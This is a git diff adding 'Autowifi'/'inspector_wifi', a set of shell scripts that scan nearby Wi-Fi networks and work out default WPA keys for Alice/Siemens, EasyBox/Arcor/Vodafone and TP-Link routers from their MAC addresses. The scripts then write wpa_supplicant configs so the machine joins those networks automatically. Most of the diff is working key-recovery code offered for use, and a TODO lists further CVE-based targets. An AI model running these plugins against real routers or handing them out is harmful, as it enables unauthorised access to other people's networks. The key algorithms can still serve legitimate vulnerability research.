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-rw-r--r--recon/inspector_wifi/.gitignore1
-rw-r--r--recon/inspector_wifi/README.md49
-rw-r--r--recon/inspector_wifi/TODO9
-rwxr-xr-xrecon/inspector_wifi/inspector_wifi108
-rwxr-xr-xrecon/inspector_wifi/plugins/01open6
-rwxr-xr-xrecon/inspector_wifi/plugins/02alice20
-rwxr-xr-xrecon/inspector_wifi/plugins/02easybox37
-rwxr-xr-xrecon/inspector_wifi/plugins/02tplink17
-rw-r--r--recon/inspector_wifi/plugins/plugin_core41
9 files changed, 288 insertions, 0 deletions
diff --git a/recon/inspector_wifi/.gitignore b/recon/inspector_wifi/.gitignore
new file mode 100644
index 00000000..05ba1603
--- /dev/null
+++ b/recon/inspector_wifi/.gitignore
@@ -0,0 +1 @@
+/etc/autowifi/wifi_keys
diff --git a/recon/inspector_wifi/README.md b/recon/inspector_wifi/README.md
new file mode 100644
index 00000000..3e0d8dce
--- /dev/null
+++ b/recon/inspector_wifi/README.md
@@ -0,0 +1,49 @@
+# Autowifi
+Author: makefu,lassulus
+
+Status: Pre-Alpha - it will most likely break if you try to use it
+
+# Contact
+
+twitter: @krebsbob ,@makefoo
+
+IRC: freenode #krebs
+
+# Goals
+Goal of autowifi is to provide a tool which automatically can connect to
+networks in an unknown environment.
+
+This can either be done by connecting to open networks, known networks
+(whitelist) or by calculating weak default wpa keys (for example easybox
+default passwords).
+
+# Audience
+Due to the current status of the project the target audience are
+linux users with technical background .
+
+# Usage
+
+ # all as root
+ # try to find networks to connect to around you
+ usr/bin/autowifi_dryrun quiet
+
+ # start the autowifi daemon which tries to stay in networks all the time
+ usr/bin/autowifi
+
+# Plugins
+All tests to open up networks are implemented in plugins in
+ usr/lib/autowifi/plugins
+
+## Run a single Plugin
+This can be used for testing purposes, e.g. test a single plugin against given networks directly
+
+ # try out the easybox keygen
+ usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style)
+
+ #e.g.
+ usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]"
+
+# Disclaimer
+- use at own risk
+- only run in lab environment
+- you break it, you buy it
diff --git a/recon/inspector_wifi/TODO b/recon/inspector_wifi/TODO
new file mode 100644
index 00000000..ddd59818
--- /dev/null
+++ b/recon/inspector_wifi/TODO
@@ -0,0 +1,9 @@
+more intelligent autoconnect (open first, encrypted second etc.)
+ perform initial scan on startup of unscanned networks
+ sort networks by bandwidth and connect
+profiles ala netcfg/netctl
+better profile hooks
+
+Implement:
+ - Droid Default WPA2 Pass for HotSpot: CVE-2013-4622: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4622
+ - EasyBox 802/803 default WPS Pin: http://packetstormsecurity.com/files/122698/SA-20130805-0.txt
diff --git a/recon/inspector_wifi/inspector_wifi b/recon/inspector_wifi/inspector_wifi
new file mode 100755
index 00000000..bf2297d9
--- /dev/null
+++ b/recon/inspector_wifi/inspector_wifi
@@ -0,0 +1,108 @@
+#!/bin/sh
+# Usage; sudo iwlist wlan0 scan | ./inspector_wifi
+#
+#
+# set -eu
+
+cd "$(dirname "$(readlink -f "$0")")"
+#echo "waiting for iwlist scan data..." >&2
+
+crack_wifi(){
+ for i in plugins/*;do
+ if RET=$(./$i "$@" 2>/dev/null);then
+ if [ ! -z wpa_sup ]; then
+ make_config $@ $RET
+ else
+ echo "$@ - with crack $i succeeded - Key is $RET"
+ fi
+ fi
+ done
+}
+
+make_config(){
+ cat<<EOF
+network={
+ ssid="$1"
+ psk="$5"
+}
+EOF
+
+}
+
+shell_escape(){
+ sed 's/./\\&/g'
+}
+remove_quotes(){
+ sed 's/^"\|"$//g'
+}
+
+
+iwlist_scan_parser(){
+ count=0
+ while read line;
+ do
+ case "$line" in
+
+ *"Cell "*)
+ if [ $count -ne 0 ];then
+ crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+ fi
+ WPA=0
+ WPA2=0
+ : $((count+=1))
+ MAC=${line#*Address: }
+ ;;
+ *Channel:*)
+ CHANNEL=${line#*:}
+ ;;
+ *Quality=*)
+ QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
+ ;;
+ *"Encryption key:"*)
+ ENCRYPTION=${line#*key:}
+ ;;
+ *ESSID:*)
+ ESSID=$(echo "${line#*ESSID:}" | remove_quotes)
+ ;;
+ *"IE: IEEE 802.11i/WPA2"*)
+ WPA2=1
+ ;;
+ *"IE: WPA Version 1"*)
+ WPA=1
+ ;;
+ *);; #important, do not delete!
+ esac
+ done;
+ crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+ #echo WIFI_COUNT=$count
+}
+
+
+loop_networks(){
+ for i in `seq 1 $WIFI_COUNT`; do
+ loop_over_cracks "$i"
+ done
+}
+
+wifi_init(){
+ iwlist_scan_parser
+}
+
+print_wpa_supplicant(){
+ echo "args $@"
+}
+
+while getopts hw OPT; do
+ case "$OPT" in
+ h)
+ echo $USAGE
+ exit 0
+ ;;
+ w)
+ wpa_sup=1
+ ;;
+ *)
+ ;;
+ esac
+done
+wifi_init
diff --git a/recon/inspector_wifi/plugins/01open b/recon/inspector_wifi/plugins/01open
new file mode 100755
index 00000000..881f47ea
--- /dev/null
+++ b/recon/inspector_wifi/plugins/01open
@@ -0,0 +1,6 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION
+if [ "$4" == "[ESS]" ]; then
+ exit 0
+fi
+exit 1
diff --git a/recon/inspector_wifi/plugins/02alice b/recon/inspector_wifi/plugins/02alice
new file mode 100755
index 00000000..65ab34b1
--- /dev/null
+++ b/recon/inspector_wifi/plugins/02alice
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from
+# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) )
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0
diff --git a/recon/inspector_wifi/plugins/02easybox b/recon/inspector_wifi/plugins/02easybox
new file mode 100755
index 00000000..3bb1ee86
--- /dev/null
+++ b/recon/inspector_wifi/plugins/02easybox
@@ -0,0 +1,37 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+parse_plugin_args "$@"
+
+if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
+ echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone"
+ exit 1
+else
+
+ # Fill up to 4 places with zeros, if necessary:
+ deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
+ #
+ # The digits M9 to M12 are just the last digits (9.-12.) of the MAC:
+ hexi=$(echo ${MAC:8:4} | sed 's/./& /g')
+ #echo 'M4 (Hex): ' ${hexi[@]}
+ # K1 = last byte of (d0 + d1 + h2 + h3)
+ # K2 = last byte of (h0 + h1 + d2 + d3)
+ c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1})
+ c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1})
+ K1=$((($c1)%16))
+ K2=$((($c2)%16))
+ #printf "K1: %x\n" $K1
+ #printf "K2: %x\n" $K2
+ X1=$((K1^${deci:6:1}))
+ X2=$((K1^${deci:4:1}))
+ X3=$((K1^${deci:2:1}))
+ Y1=$((K2^0x${hexi:2:1}))
+ Y2=$((K2^0x${hexi:4:1}))
+ Y3=$((K2^0x${hexi:6:1}))
+ Z1=$((0x${hexi:4:1}^${deci:6:1}))
+ Z2=$((0x${hexi:6:1}^${deci:4:1}))
+ Z3=$((K1^K2))
+ printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F
+fi
diff --git a/recon/inspector_wifi/plugins/02tplink b/recon/inspector_wifi/plugins/02tplink
new file mode 100755
index 00000000..751ec209
--- /dev/null
+++ b/recon/inspector_wifi/plugins/02tplink
@@ -0,0 +1,17 @@
+#!/bin/sh
+# Implementation of TP-Link default WPA Key
+# Based on
+# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1
+! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1
+
+
+# printf always makes string to lower, need that for correct md5sum
+printf ${MAC:4:12}
+exit 0
diff --git a/recon/inspector_wifi/plugins/plugin_core b/recon/inspector_wifi/plugins/plugin_core
new file mode 100644
index 00000000..e79a3c05
--- /dev/null
+++ b/recon/inspector_wifi/plugins/plugin_core
@@ -0,0 +1,41 @@
+#!/bin/sh
+parse_plugin_args(){
+ [ $# -ne 4 ] && plugin_usage && exit 1
+ # convenience function to put args in ENV variables
+ ESSID="$1"
+
+ # mac is returned without colon
+ MAC=$(printf "%s" "$2" | sed 's/://g')
+ # split up the mac address to vendor and private part
+ VENDOR_MAC=${MAC:0:6}
+ PRIVATE_MAC=${MAC:6:12}
+ CHANNEL="$3"
+ ENC="$4"
+ if [ ${#MAC} -ne 12 ] ;then
+ echo "MAC malformed"
+ exit 1
+ fi
+}
+plugin_usage(){
+ cat << EOF
+usage: $0 ESSID MAC CHANNEL ENC"
+
+ ESSID - string
+ MAC - 00:11:22:33:44:55
+ CHANNEL - 4
+ ENC - wpa
+EOF
+
+}
+
+check_vendor_mac(){
+ needle="$(printf $1 | tr '[A-Z]' '[a-z]')"
+ shift
+ for i in "$@";do
+ [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0
+ done
+ return 1
+}
+check_painmode(){
+ test -z "${painmode:-}" && echo "painmode required" && exit 1
+}
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